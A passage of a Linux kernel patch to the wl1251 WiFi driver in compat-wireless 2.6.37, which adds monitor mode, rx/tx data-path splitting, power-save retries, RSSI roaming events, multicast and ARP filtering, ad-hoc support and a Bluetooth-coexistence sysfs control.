"wl1251.h" + #include "reg.h" +@@ -203,11 +204,11 @@ + return ret; + } + +-int wl1251_cmd_data_path(struct wl1251 *wl, u8 channel, bool enable) ++int wl1251_cmd_data_path_rx(struct wl1251 *wl, u8 channel, bool enable) + { + struct cmd_enabledisable_path *cmd; + int ret; +- u16 cmd_rx, cmd_tx; ++ u16 cmd_rx; + + wl1251_debug(DEBUG_CMD, "cmd data path"); + +@@ -219,13 +220,10 @@ + + cmd->channel = channel; + +- if (enable) { ++ if (enable) + cmd_rx = CMD_ENABLE_RX; +- cmd_tx = CMD_ENABLE_TX; +- } else { ++ else + cmd_rx = CMD_DISABLE_RX; +- cmd_tx = CMD_DISABLE_TX; +- } + + ret = wl1251_cmd_send(wl, cmd_rx, cmd, sizeof(*cmd)); + if (ret < 0) { +@@ -237,6 +235,32 @@ + wl1251_debug(DEBUG_BOOT, "rx %s cmd channel %d", + enable ? "start" : "stop", channel); + ++out: ++ kfree(cmd); ++ return ret; ++} ++ ++int wl1251_cmd_data_path_tx(struct wl1251 *wl, u8 channel, bool enable) ++{ ++ struct cmd_enabledisable_path *cmd; ++ int ret; ++ u16 cmd_tx; ++ ++ wl1251_debug(DEBUG_CMD, "cmd data path"); ++ ++ cmd = kzalloc(sizeof(*cmd), GFP_KERNEL); ++ if (!cmd) { ++ ret = -ENOMEM; ++ goto out; ++ } ++ ++ cmd->channel = channel; ++ ++ if (enable) ++ cmd_tx = CMD_ENABLE_TX; ++ else ++ cmd_tx = CMD_DISABLE_TX; ++ + ret = wl1251_cmd_send(wl, cmd_tx, cmd, sizeof(*cmd)); + if (ret < 0) { + wl1251_error("tx %s cmd for channel %d failed", +@@ -277,15 +301,6 @@ + join->rx_config_options = wl->rx_config; + join->rx_filter_options = wl->rx_filter; + +- /* +- * FIXME: disable temporarily all filters because after commit +- * 9cef8737 "mac80211: fix managed mode BSSID handling" broke +- * association. The filter logic needs to be implemented properly +- * and once that is done, this hack can be removed. +- */ +- join->rx_config_options = 0; +- join->rx_filter_options = WL1251_DEFAULT_RX_FILTER; +- + join->basic_rate_set = RATE_MASK_1MBPS | RATE_MASK_2MBPS | + RATE_MASK_5_5MBPS | RATE_MASK_11MBPS; + +@@ -419,7 +434,10 @@ + struct wl1251_cmd_scan *cmd; + int i, ret = 0; + +- wl1251_debug(DEBUG_CMD, "cmd scan"); ++ wl1251_debug(DEBUG_CMD, "cmd scan channels %d ssid(%d) '%s'", ++ n_channels, ssid_len, ssid); ++ ++ WARN_ON(n_channels > SCAN_MAX_NUM_OF_CHANNELS); + + cmd = kzalloc(sizeof(*cmd), GFP_KERNEL); + if (!cmd) +@@ -430,6 +448,11 @@ + CFG_RX_MGMT_EN | + CFG_RX_BCN_EN); + cmd->params.scan_options = 0; ++ /* Use high priority scan when not associated to prevent fw issue ++ * causing never-ending scans (sometimes 20+ minutes). ++ * Note: This bug may be caused by the fw's DTIM handling. */ ++ if (is_zero_ether_addr(wl->bssid)) ++ cmd->params.scan_options |= WL1251_SCAN_OPT_PRIORITY_HIGH; + cmd->params.num_channels = n_channels; + cmd->params.num_probe_requests = n_probes; + cmd->params.tx_rate = cpu_to_le16(1 << 1); /* 2 Mbps */ +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.h +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.h 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.h 2011-08-23 17:07:12.000000000 +0200 +@@ -35,7 +35,8 @@ + int wl1251_cmd_configure(struct wl1251 *wl, u16 id, void *buf, size_t len); + int wl1251_cmd_vbm(struct wl1251 *wl, u8 identity, + void *bitmap, u16 bitmap_len, u8 bitmap_control); +-int wl1251_cmd_data_path(struct wl1251 *wl, u8 channel, bool enable); ++int wl1251_cmd_data_path_rx(struct wl1251 *wl, u8 channel, bool enable); ++int wl1251_cmd_data_path_tx(struct wl1251 *wl, u8 channel, bool enable); + int wl1251_cmd_join(struct wl1251 *wl, u8 bss_type, u8 channel, + u16 beacon_interval, u8 dtim_interval); + int wl1251_cmd_ps_mode(struct wl1251 *wl, u8 ps_mode); +@@ -167,6 +168,11 @@ + #define CMDMBOX_HEADER_LEN 4 + #define CMDMBOX_INFO_ELEM_HEADER_LEN 4 + ++#define WL1251_SCAN_OPT_PASSIVE 1 ++#define WL1251_SCAN_OPT_5GHZ_BAND 2 ++#define WL1251_SCAN_OPT_TRIGGERD_SCAN 4 ++#define WL1251_SCAN_OPT_PRIORITY_HIGH 8 ++ + #define WL1251_SCAN_MIN_DURATION 30000 + #define WL1251_SCAN_MAX_DURATION 60000 + +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.c 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.c 2011-08-23 17:07:05.000000000 +0200 +@@ -42,6 +42,43 @@ + return 0; + } + ++#define WL1251_PSM_ENTRY_RETRIES 3 ++static int wl1251_event_ps_report(struct wl1251 *wl, ++ struct event_mailbox *mbox) ++{ ++ int ret = 0; ++ ++ wl1251_debug(DEBUG_EVENT, "ps status: %x", mbox->ps_status); ++ ++ switch (mbox->ps_status) { ++ case EVENT_ENTER_POWER_SAVE_FAIL: ++ wl1251_debug(DEBUG_PSM, "PSM entry failed"); ++ ++ if (!wl->psm) { ++ /* remain in active mode */ ++ wl->psm_entry_retry = 0; ++ break; ++ } ++ ++ if (wl->psm_entry_retry < WL1251_PSM_ENTRY_RETRIES) { ++ wl->psm_entry_retry++; ++ ret = wl1251_ps_set_mode(wl, STATION_POWER_SAVE_MODE); ++ } else { ++ wl1251_error("Power save entry failed, giving up"); ++ wl->psm_entry_retry = 0; ++ } ++ break; ++ case EVENT_ENTER_POWER_SAVE_SUCCESS: ++ case EVENT_EXIT_POWER_SAVE_FAIL: ++ case EVENT_EXIT_POWER_SAVE_SUCCESS: ++ default: ++ wl->psm_entry_retry = 0; ++ break; ++ } ++ ++ return 0; ++} ++ + static void wl1251_event_mbox_dump(struct event_mailbox *mbox) + { + wl1251_debug(DEBUG_EVENT, "MBOX DUMP:"); +@@ -75,6 +112,13 @@ + } + } + ++ if (vector & PS_REPORT_EVENT_ID) { ++ wl1251_debug(DEBUG_EVENT, "PS_REPORT_EVENT"); ++ ret = wl1251_event_ps_report(wl, mbox); ++ if (ret < 0) ++ return ret; ++ } ++ + if (vector & SYNCHRONIZATION_TIMEOUT_EVENT_ID && wl->psm) { + wl1251_debug(DEBUG_EVENT, "SYNCHRONIZATION_TIMEOUT_EVENT"); + +@@ -90,6 +134,24 @@ + } + } + ++ if (wl->vif && wl->rssi_thold) { ++ if (vector & ROAMING_TRIGGER_LOW_RSSI_EVENT_ID) { ++ wl1251_debug(DEBUG_EVENT, ++ "ROAMING_TRIGGER_LOW_RSSI_EVENT"); ++ ieee80211_cqm_rssi_notify(wl->vif, ++ NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW, ++ GFP_KERNEL); ++ } ++ ++ if (vector & ROAMING_TRIGGER_REGAINED_RSSI_EVENT_ID) { ++ wl1251_debug(DEBUG_EVENT, ++ "ROAMING_TRIGGER_REGAINED_RSSI_EVENT"); ++ ieee80211_cqm_rssi_notify(wl->vif, ++ NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH, ++ GFP_KERNEL); ++ } ++ } ++ + return 0; + } + +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.h +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/event.h 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/event.h 2011-08-23 17:07:01.000000000 +0200 +@@ -112,6 +112,13 @@ + u8 padding[19]; + } __packed; + ++enum { ++ EVENT_ENTER_POWER_SAVE_FAIL = 0, ++ EVENT_ENTER_POWER_SAVE_SUCCESS, ++ EVENT_EXIT_POWER_SAVE_FAIL, ++ EVENT_EXIT_POWER_SAVE_SUCCESS, ++}; ++ + int wl1251_event_unmask(struct wl1251 *wl); + void wl1251_event_mbox_config(struct wl1251 *wl); + int wl1251_event_handle(struct wl1251 *wl, u8 mbox); +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/init.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/init.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/init.c 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/init.c 2011-08-23 17:07:20.000000000 +0200 +@@ -33,7 +33,7 @@ + { + int ret; + +- ret = wl1251_acx_feature_cfg(wl); ++ ret = wl1251_acx_feature_cfg(wl, 0); + if (ret < 0) { + wl1251_warning("couldn't set feature config"); + return ret; +@@ -127,7 +127,7 @@ + if (ret < 0) + return ret; + +- ret = wl1251_acx_group_address_tbl(wl); ++ ret = wl1251_acx_group_address_tbl(wl, true, NULL, 0); + if (ret < 0) + return ret; + +@@ -162,11 +162,7 @@ + { + int ret; + +- ret = wl1251_acx_sg_enable(wl); +- if (ret < 0) +- return ret; +- +- ret = wl1251_acx_sg_cfg(wl); ++ ret = wl1251_acx_sg_configure(wl, true); + if (ret < 0) + return ret; + +@@ -394,8 +390,13 @@ + if (ret < 0) + goto out_free_data_path; + +- /* Enable data path */ +- ret = wl1251_cmd_data_path(wl, wl->channel, 1); ++ /* Enable rx data path */ ++ ret = wl1251_cmd_data_path_rx(wl, wl->channel, 1); ++ if (ret < 0) ++ goto out_free_data_path; ++ ++ /* Enable tx data path */ ++ ret = wl1251_cmd_data_path_tx(wl, wl->channel, 1); + if (ret < 0) + goto out_free_data_path; + +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/main.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/main.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/main.c 2011-01-13 02:06:41.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/main.c 2011-08-23 17:07:29.000000000 +0200 +@@ -30,7 +30,9 @@ + #include + #include + #include ++#include + #include ++#include + + #include "wl1251.h" + #include "wl12xx_80211.h" +@@ -348,33 +350,6 @@ + return ret; + } + +-static void wl1251_filter_work(struct work_struct *work) +-{ +- struct wl1251 *wl = +- container_of(work, struct wl1251, filter_work); +- int ret; +- +- mutex_lock(&wl->mutex); +- +- if (wl->state == WL1251_STATE_OFF) +- goto out; +- +- ret = wl1251_ps_elp_wakeup(wl); +- if (ret < 0) +- goto out; +- +- ret = wl1251_join(wl, wl->bss_type, wl->channel, wl->beacon_int, +- wl->dtim_period); +- if (ret < 0) +- goto out_sleep; +- +-out_sleep: +- wl1251_ps_elp_sleep(wl); +- +-out: +- mutex_unlock(&wl->mutex); +-} +- + static int wl1251_op_tx(struct ieee80211_hw *hw, struct sk_buff *skb) + { + struct wl1251 *wl = hw->priv; +@@ -480,7 +455,6 @@ + + cancel_work_sync(&wl->irq_work); + cancel_work_sync(&wl->tx_work); +- cancel_work_sync(&wl->filter_work); + + mutex_lock(&wl->mutex); + +@@ -500,9 +474,13 @@ + wl->next_tx_complete = 0; + wl->elp = false; + wl->psm = 0; ++ wl->psm_entry_retry = 0; + wl->tx_queue_stopped = false; + wl->power_level = WL1251_DEFAULT_POWER_LEVEL; ++ wl->rssi_thold = 0; + wl->channel = WL1251_DEFAULT_CHANNEL; ++ wl->monitor_present = false; ++ wl->joined = false; + + wl1251_debugfs_reset(wl); + +@@ -559,6 +537,7 @@ + mutex_lock(&wl->mutex); + wl1251_debug(DEBUG_MAC80211, "mac80211 remove interface"); + wl->vif = NULL; ++ memset(wl->bssid, 0, ETH_ALEN); + mutex_unlock(&wl->mutex); + } + +@@ -591,8 +570,10 @@ + + channel = ieee80211_frequency_to_channel(conf->channel->center_freq); + +- wl1251_debug(DEBUG_MAC80211, "mac80211 config ch %d psm %s power %d", ++ wl1251_debug(DEBUG_MAC80211, ++ "mac80211 config ch %d monitor %s psm %s power %d", + channel, ++ conf->flags & IEEE80211_CONF_MONITOR ? "on" : "off", + conf->flags & IEEE80211_CONF_PS ? "on" : "off", + conf->power_level); + +@@ -602,16 +583,55 @@ + if (ret < 0) + goto out; + ++ if (changed & IEEE80211_CONF_CHANGE_MONITOR) { ++ u32 mode; ++ ++ if (conf->flags & IEEE80211_CONF_MONITOR) { ++ wl->monitor_present = true; ++ mode = DF_SNIFF_MODE_ENABLE | DF_ENCRYPTION_DISABLE; ++ } else { ++ wl->monitor_present = false; ++ mode = 0; ++ } ++ ++ ret = wl1251_acx_feature_cfg(wl, mode); ++ if (ret < 0) ++ goto out_sleep; ++ ++ if (wl->monitor_present) ++ wl->rx_config |= CFG_RX_ALL_GOOD; ++ else ++ wl->rx_config &= ~CFG_RX_ALL_GOOD; ++ ++ /* update filters immediately */ ++ ret = wl1251_acx_rx_config(wl, wl->rx_config, wl->rx_filter); ++ if (ret < 0) ++ goto out_sleep; ++ } ++ + if (channel != wl->channel) { + wl->channel = channel; + +- ret = wl1251_join(wl, wl->bss_type, wl->channel, +- wl->beacon_int, wl->dtim_period); ++ /* ++ * Use ENABLE_RX command for channel switching when no ++ * interface is present (monitor mode only). ++ * This leaves the tx path disabled in firmware, whereas ++ * the usual JOIN command seems to transmit some frames ++ * at firmware level. ++ */ ++ if (wl->vif == NULL) { ++ wl->joined = false; ++ ret = wl1251_cmd_data_path_rx(wl, wl->channel, 1); ++ } else { ++ ret = wl1251_join(wl, wl->bss_type, wl->channel, ++ wl->beacon_int, wl->dtim_period); ++ } + if (ret < 0) + goto out_sleep; + } + +- if (conf->flags & IEEE80211_CONF_PS && !wl->psm_requested) { ++ if (conf->flags & IEEE80211_CONF_PS && !wl->psm_requested && ++ !wl->monitor_present) { + wl1251_debug(DEBUG_PSM, "psm enabled"); + + wl->psm_requested = true; +@@ -627,8 +647,8 @@ + ret = wl1251_ps_set_mode(wl, STATION_POWER_SAVE_MODE); + if (ret < 0) + goto out_sleep; +- } else if (!(conf->flags & IEEE80211_CONF_PS) && +- wl->psm_requested) { ++ } else if ((!(conf->flags & IEEE80211_CONF_PS) || wl->monitor_present) ++ && wl->psm_requested) { + wl1251_debug(DEBUG_PSM, "psm disabled"); + + wl->psm_requested = false; +@@ -648,6 +668,16 @@ + wl->power_level = conf->power_level; + } + ++ /* ++ * Tell stack that connection is lost because hw encryption isn't ++ * supported in monitor mode. ++ * XXX This requires temporary enabling the hw connection monitor flag ++ */ ++ if ((changed & IEEE80211_CONF_CHANGE_MONITOR) && wl->vif) { ++ wl->hw->flags |= IEEE80211_HW_CONNECTION_MONITOR; ++ ieee80211_connection_loss(wl->vif); ++ } ++ + out_sleep: + wl1251_ps_elp_sleep(wl); + +@@ -657,6 +687,44 @@ + return ret; + } + ++struct wl1251_filter_params { ++ bool enabled; ++ int mc_list_length; ++ u8 mc_list[ACX_MC_ADDRESS_GROUP_MAX][ETH_ALEN]; ++}; ++ ++static u64 wl1251_op_prepare_multicast(struct ieee80211_hw *hw, ++ struct netdev_hw_addr_list *mc_list) ++{ ++ struct wl1251_filter_params *fp; ++ struct netdev_hw_addr *ha; ++ struct wl1251 *wl = hw->priv; ++ ++ if (unlikely(wl->state == WL1251_STATE_OFF)) ++ return 0; ++ ++ fp = kzalloc(sizeof(*fp), GFP_ATOMIC); ++ if (!fp) { ++ wl1251_error("Out of memory setting filters."); ++ return 0; ++ } ++ ++ /* update multicast filtering parameters */ ++ fp->mc_list_length = 0; ++ if (netdev_hw_addr_list_count(mc_list) > ACX_MC_ADDRESS_GROUP_MAX) { ++ fp->enabled = false; ++ } else { ++ fp->enabled = true; ++ netdev_hw_addr_list_for_each(ha, mc_list) { ++ memcpy(fp->mc_list[fp->mc_list_length], ++ ha->addr, ETH_ALEN); ++ fp->mc_list_length++; ++ } ++ } ++ ++ return (u64)(unsigned long)fp; ++} ++ + #define WL1251_SUPPORTED_FILTERS (FIF_PROMISC_IN_BSS | \ + FIF_ALLMULTI | \ + FIF_FCSFAIL | \ +@@ -666,27 +734,47 @@ + + static void wl1251_op_configure_filter(struct ieee80211_hw *hw, + unsigned int changed, +- unsigned int *total,u64 multicast) ++ unsigned int *total, u64 multicast) + { ++ struct wl1251_filter_params *fp = (void *)(unsigned long)multicast; + struct wl1251 *wl = hw->priv; ++ int ret; + + wl1251_debug(DEBUG_MAC80211, "mac80211 configure filter"); + + *total &= WL1251_SUPPORTED_FILTERS; + changed &= WL1251_SUPPORTED_FILTERS; + ++ mutex_lock(&wl->mutex); ++ ++ if (unlikely(wl->state == WL1251_STATE_OFF)) ++ goto out; ++ ++ ret = wl1251_ps_elp_wakeup(wl); ++ if (ret < 0) ++ goto out; ++ ++ if (*total & FIF_ALLMULTI || *total & FIF_PROMISC_IN_BSS) ++ ret = wl1251_acx_group_address_tbl(wl, false, NULL, 0); ++ else if (fp) ++ ret = wl1251_acx_group_address_tbl(wl, fp->enabled, ++ fp->mc_list, ++ fp->mc_list_length); ++ if (ret < 0) ++ goto out_sleep; ++ + if (changed == 0) + /* no filters which we support changed */ +- return; +- +- /* FIXME: wl->rx_config and wl->rx_filter are not protected */ ++ goto out_sleep; + + wl->rx_config = WL1251_DEFAULT_RX_CONFIG; + wl->rx_filter = WL1251_DEFAULT_RX_FILTER; + +- if (*total & FIF_PROMISC_IN_BSS) { ++ if (!is_zero_ether_addr(wl->bssid)) + wl->rx_config |= CFG_BSSID_FILTER_EN; +- wl->rx_config |= CFG_RX_ALL_GOOD; ++ if (*total & FIF_PROMISC_IN_BSS) { ++ wl->rx_config &= ~CFG_UNI_FILTER_EN; ++ wl->rx_config &= ~CFG_MC_FILTER_EN; + } + if (*total & FIF_ALLMULTI) + /* +@@ -702,15 +790,28 @@ + } + if (*total & FIF_CONTROL) + wl->rx_filter |= CFG_RX_CTL_EN; +- if (*total & FIF_OTHER_BSS) +- wl->rx_filter &= ~CFG_BSSID_FILTER_EN; ++ if (*total & FIF_OTHER_BSS) { ++ wl->rx_config &= ~CFG_BSSID_FILTER_EN; ++ wl->rx_config &= ~CFG_SSID_FILTER_EN; ++ } ++ if (wl->monitor_present) ++ wl->rx_config |= CFG_RX_ALL_GOOD; + +- /* +- * FIXME: workqueues need to be properly cancelled on stop(), for +- * now let's just disable changing the filter settings. They will +- * be updated any on config(). +- */ +- /* schedule_work(&wl->filter_work); */ ++ wl1251_debug(DEBUG_MAC80211, "mac80211 filter total 0x%02x" ++ " changed 0x%02x rx_config 0x%02x rx_filter 0x%02x", ++ *total, changed, wl->rx_config, wl->rx_filter); ++ ++ /* apply configured filters */ ++ ret = wl1251_acx_rx_config(wl, wl->rx_config, wl->rx_filter); ++ if (ret < 0) ++ goto out_sleep; ++ ++out_sleep: ++ wl1251_ps_elp_sleep(wl); ++ ++out: ++ mutex_unlock(&wl->mutex); ++ kfree(fp); + } + + /* HW encryption */ +@@ -790,12 +891,12 @@ + + mutex_lock(&wl->mutex); + +- ret = wl1251_ps_elp_wakeup(wl); +- if (ret < 0) +- goto out_unlock; +- + switch (cmd) { + case SET_KEY: ++ if (wl->monitor_present) { ++ ret = -EOPNOTSUPP; ++ goto out_unlock; ++ } + wl_cmd->key_action = KEY_ADD_OR_REPLACE; + break; + case DISABLE_KEY: +@@ -806,6 +907,10 @@ + break; + } + ++ ret = wl1251_ps_elp_wakeup(wl); ++ if (ret < 0) ++ goto out_unlock; ++ + ret = wl1251_set_key_type(wl, wl_cmd, cmd, key, addr); + if (ret < 0) { + wl1251_error("Set KEY type failed"); +@@ -906,6 +1011,7 @@ + ret = wl1251_cmd_scan(wl, ssid, ssid_len, req->channels, + req->n_channels, WL1251_SCAN_NUM_PROBES); + if (ret < 0) { ++ wl1251_debug(DEBUG_SCAN, "scan failed %d", ret); + wl->scanning = false; + goto out_sleep; + } +@@ -959,9 +1065,24 @@ + if (ret < 0) + goto out; + ++ if (changed & BSS_CHANGED_CQM) { ++ ret = wl1251_acx_low_rssi(wl, bss_conf->cqm_rssi_thold, ++ WL1251_DEFAULT_LOW_RSSI_WEIGHT, ++ WL1251_DEFAULT_LOW_RSSI_DEPTH, ++ WL1251_ACX_LOW_RSSI_TYPE_EDGE); ++ if (ret < 0) ++ goto out; ++ wl->rssi_thold = bss_conf->cqm_rssi_thold; ++ } ++ + if (changed & BSS_CHANGED_BSSID) { + memcpy(wl->bssid, bss_conf->bssid, ETH_ALEN); + ++ if (is_zero_ether_addr(wl->bssid)) ++ wl->rx_config &= ~CFG_BSSID_FILTER_EN; ++ else ++ wl->rx_config |= CFG_BSSID_FILTER_EN; ++ + skb = ieee80211_nullfunc_get(wl->hw, wl->vif); + if (!skb) + goto out_sleep; +@@ -985,6 +1106,9 @@ + } + + if (changed & BSS_CHANGED_ASSOC) { ++ /* XXX Disable temporary enabled hw connection monitor flag */ ++ wl->hw->flags &= ~IEEE80211_HW_CONNECTION_MONITOR; ++ + if (bss_conf->assoc) { + wl->beacon_int = bss_conf->beacon_int; + +@@ -1037,6 +1161,19 @@ + } + } + ++ if (changed & BSS_CHANGED_ARP_FILTER) { ++ __be32 addr = bss_conf->arp_addr_list[0]; ++ WARN_ON(wl->bss_type != BSS_TYPE_STA_BSS); ++ ++ if (bss_conf->arp_addr_cnt == 1 && bss_conf->arp_filter_enabled) ++ ret = wl1251_acx_arp_ip_filter(wl, true, addr); ++ else ++ ret = wl1251_acx_arp_ip_filter(wl, false, addr); ++ ++ if (ret < 0) ++ goto out_sleep; ++ } ++ + if (changed & BSS_CHANGED_BEACON) { + beacon = ieee80211_beacon_get(hw, vif); + ret = wl1251_cmd_template_set(wl, CMD_BEACON, beacon->data, +@@ -1203,6 +1340,7 @@ + .add_interface = wl1251_op_add_interface, + .remove_interface = wl1251_op_remove_interface, + .config = wl1251_op_config, ++ .prepare_multicast = wl1251_op_prepare_multicast, + .configure_filter = wl1251_op_configure_filter, + .tx = wl1251_op_tx, + .set_key = wl1251_op_set_key, +@@ -1213,6 +1351,94 @@ + .get_survey = wl1251_op_get_survey, + }; + ++static ssize_t wl1251_sysfs_show_bt_coex_mode(struct device *dev, ++ struct device_attribute *attr, ++ char *buf) ++{ ++ struct wl1251 *wl = dev_get_drvdata(dev); ++ ssize_t len; ++ ++ /* FIXME: what's the maximum length of buf? page size?*/ ++ len = 500; ++ ++ mutex_lock(&wl->mutex); ++ len = snprintf(buf, len, "%d\n\n%d - off\n%d - on\n%d - monoaudio\n", ++ wl->bt_coex_mode, ++ WL1251_BT_COEX_OFF, ++ WL1251_BT_COEX_ENABLE, ++ WL1251_BT_COEX_MONOAUDIO); ++ mutex_unlock(&wl->mutex); ++ ++ return len; ++ ++} ++ ++static ssize_t wl1251_sysfs_store_bt_coex_mode(struct device *dev, ++ struct device_attribute *attr, ++ const char *buf, size_t count) ++{ ++ struct wl1251 *wl = dev_get_drvdata(dev); ++ unsigned long res; ++ int ret; ++ ++ ret = strict_strtoul(buf, 10, &res); ++ ++ if (ret < 0) { ++ wl1251_warning("incorrect value written to bt_coex_mode"); ++ return count; ++ } ++ ++ mutex_lock(&wl->mutex); ++ ++ if (res == wl->bt_coex_mode) ++ goto out; ++ ++ switch (res) { ++ case WL1251_BT_COEX_OFF: ++ case WL1251_BT_COEX_ENABLE: ++ case WL1251_BT_COEX_MONOAUDIO: ++ wl->bt_coex_mode = res; ++ break; ++ default: ++ wl1251_warning("incorrect value written to bt_coex_mode"); ++ goto out; ++ } ++ ++ if (wl->state == WL1251_STATE_OFF) ++ goto out; ++ ++ ret = wl1251_ps_elp_wakeup(wl); ++ if (ret < 0) ++ goto out; ++ ++ wl1251_acx_sg_configure(wl, false); ++ wl1251_ps_elp_sleep(wl); ++ ++out: ++ mutex_unlock(&wl->mutex); ++ return count; ++} ++ ++static DEVICE_ATTR(bt_coex_mode, S_IRUGO | S_IWUSR, ++ wl1251_sysfs_show_bt_coex_mode, ++ wl1251_sysfs_store_bt_coex_mode); ++ ++static void wl1251_device_release(struct device *dev) ++{ ++ ++} ++ ++static struct platform_device wl1251_device = { ++ /* FIXME: use wl12xx name to not break the user space */ ++ .name = "wl12xx", ++ .id = -1, ++ ++ /* device model insists to have a release function */ ++ .dev = { ++ .release = wl1251_device_release, ++ }, ++}; ++ + static int wl1251_read_eeprom_byte(struct wl1251 *wl, off_t offset, u8 *data) + { + unsigned long timeout; +@@ -1310,9 +1536,11 @@ + wl->hw->flags = IEEE80211_HW_SIGNAL_DBM | + IEEE80211_HW_SUPPORTS_PS | + IEEE80211_HW_BEACON_FILTER | +- IEEE80211_HW_SUPPORTS_UAPSD; ++ IEEE80211_HW_SUPPORTS_UAPSD | ++ IEEE80211_HW_SUPPORTS_CQM_RSSI; + +- wl->hw->wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION); ++ wl->hw->wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION) | ++ BIT(NL80211_IFTYPE_ADHOC); + wl->hw->wiphy->max_scan_ssids = 1; + wl->hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &wl1251_band_2ghz; + +@@ -1325,6 +1553,22 @@ + if (ret) + goto out; + ++ /* Register platform device */ ++ ret = platform_device_register(&wl1251_device); ++ if (ret) { ++ wl1251_error("couldn't register platform device"); ++ goto out; ++ } ++ dev_set_drvdata(&wl1251_device.dev, wl); ++ ++ ++ /* Create sysfs file to control bt coex state */ ++ ret = device_create_file(&wl1251_device.dev, &dev_attr_bt_coex_mode); ++ if (ret < 0) { ++ wl1251_error("failed to create sysfs file bt_coex_mode"); ++ goto out; ++ } ++ + wl1251_debugfs_init(wl); + wl1251_notice("initialized"); + +@@ -1357,10 +1601,12 @@ + + skb_queue_head_init(&wl->tx_queue); + +- INIT_WORK(&wl->filter_work, wl1251_filter_work); + INIT_DELAYED_WORK(&wl->elp_work, wl1251_elp_work); + wl->channel = WL1251_DEFAULT_CHANNEL; ++ wl->monitor_present = false; ++ wl->joined = false; + wl->scanning = false; ++ wl->bss_type = MAX_BSS_TYPE; + wl->default_key = 0; + wl->listen_int = 1; + wl->rx_counter = 0; +@@ -1372,11 +1618,14 @@ + wl->elp = false; + wl->psm = 0; + wl->psm_requested = false; ++ wl->psm_entry_retry = 0; + wl->tx_queue_stopped = false; + wl->power_level = WL1251_DEFAULT_POWER_LEVEL; ++ wl->rssi_thold = 0; + wl->beacon_int = WL1251_DEFAULT_BEACON_INT; + wl->dtim_period = WL1251_DEFAULT_DTIM_PERIOD; + wl->vif = NULL; ++ wl->bt_coex_mode = WL1251_BT_COEX_OFF; + + for (i = 0; i < FW_TX_CMPLT_BLOCK_SIZE; i++) + wl->tx_frames[i] = NULL; +@@ -1416,6 +1665,8 @@ + + wl1251_debugfs_exit(wl); + ++ platform_device_unregister(&wl1251_device); ++ + kfree(wl->target_mem_map); + kfree(wl->data_path); + vfree(wl->fw); +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/ps.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/ps.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/ps.c 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/ps.c 2011-08-23 17:07:03.000000000 +0200 +@@ -153,6 +153,11 @@ + if (ret < 0) + return ret; + ++ ret = wl1251_acx_bet_enable(wl, WL1251_ACX_BET_ENABLE, ++ WL1251_DEFAULT_BET_CONSECUTIVE); ++ if (ret < 0) ++ return ret; ++ + ret = wl1251_cmd_ps_mode(wl, STATION_POWER_SAVE_MODE); + if (ret < 0) + return ret; +@@ -170,6 +175,12 @@ + if (ret < 0) + return ret; + ++ /* disable BET */ ++ ret = wl1251_acx_bet_enable(wl, WL1251_ACX_BET_DISABLE, ++ WL1251_DEFAULT_BET_CONSECUTIVE); ++ if (ret < 0) ++ return ret; ++ + /* disable beacon filtering */ + ret = wl1251_acx_beacon_filter_opt(wl, false); + if (ret < 0) +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/rx.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/rx.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/rx.c 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/rx.c 2011-08-23 17:07:16.000000000 +0200 +@@ -82,7 +82,7 @@ + + status->flag |= RX_FLAG_TSFT; + +- if (desc->flags & RX_DESC_ENCRYPTION_MASK) { ++ if (!wl->monitor_present && (desc->flags & RX_DESC_ENCRYPTION_MASK)) { + status->flag |= RX_FLAG_IV_STRIPPED | RX_FLAG_MMIC_STRIPPED; + + if (likely(!(desc->flags & RX_DESC_DECRYPT_FAIL))) +@@ -95,8 +95,54 @@ + if (unlikely(!(desc->flags & RX_DESC_VALID_FCS))) + status->flag |= RX_FLAG_FAILED_FCS_CRC; + ++ switch (desc->rate) { ++ /* skip 1 and 12 Mbps because they have same value 0x0a */ ++ case RATE_2MBPS: ++ status->rate_idx = 1; ++ break; ++ case RATE_5_5MBPS: ++ status->rate_idx = 2; ++ break; ++ case RATE_11MBPS: ++ status->rate_idx = 3; ++ break; ++ case RATE_6MBPS: ++ status->rate_idx = 4; ++ break; ++ case 